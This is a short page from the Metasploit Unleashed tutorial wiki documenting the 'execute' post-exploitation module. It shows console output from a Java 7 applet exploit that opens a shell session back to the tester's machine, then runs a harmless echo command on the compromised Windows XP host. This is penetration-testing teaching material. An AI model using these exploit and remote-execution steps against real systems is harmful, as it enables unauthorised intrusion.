Multiple OS Post General Modules

From Metasploit Unleashed
Jump to: navigation, search

Contents


execute

This module will execute arbritrary commands to an open sessions. Works on Windows, Linux, OSX and Unix platforms.

msf  post(execute) > 
[*] 10.10.0.100      java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] Sending stage (2976 bytes) to 10.10.0.100
[*] Command shell session 1 opened (10.10.0.151:4444 -> 10.10.0.100:1173) at 2012-08-31 15:06:06 -0400

msf  post(execute) > show options

Module options (post/multi/general/execute):

   Name     Current Setting       Required  Description
   ----     ---------------       --------  -----------
   COMMAND  echo hell > file.txt  no        The entire command line to execute on the session
   SESSION  1                     yes       The session to run this module on.

msf  post(execute) > run

[*] Executing echo hell > file.txt on #<Session:shell 10.10.0.100:1173 (10.10.0.100) "Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\administrator\Desktop>">...
[*] Response: 
[*] Post module execution completed

msf  post(execute) >  sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\administrator\Desktop> dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 2CB7-2817

 Directory of C:\Documents and Settings\administrator\Desktop

08/31/2012  09:04 AM    <DIR>          .
08/31/2012  09:04 AM    <DIR>          ..
08/31/2012  09:04 AM                46 file.txt
12/29/2011  03:52 PM                70 portlist.txt
               2 File(s)          1,431 bytes
               2 Dir(s)   4,899,721,216 bytes free

C:\Documents and Settings\administrator\Desktop>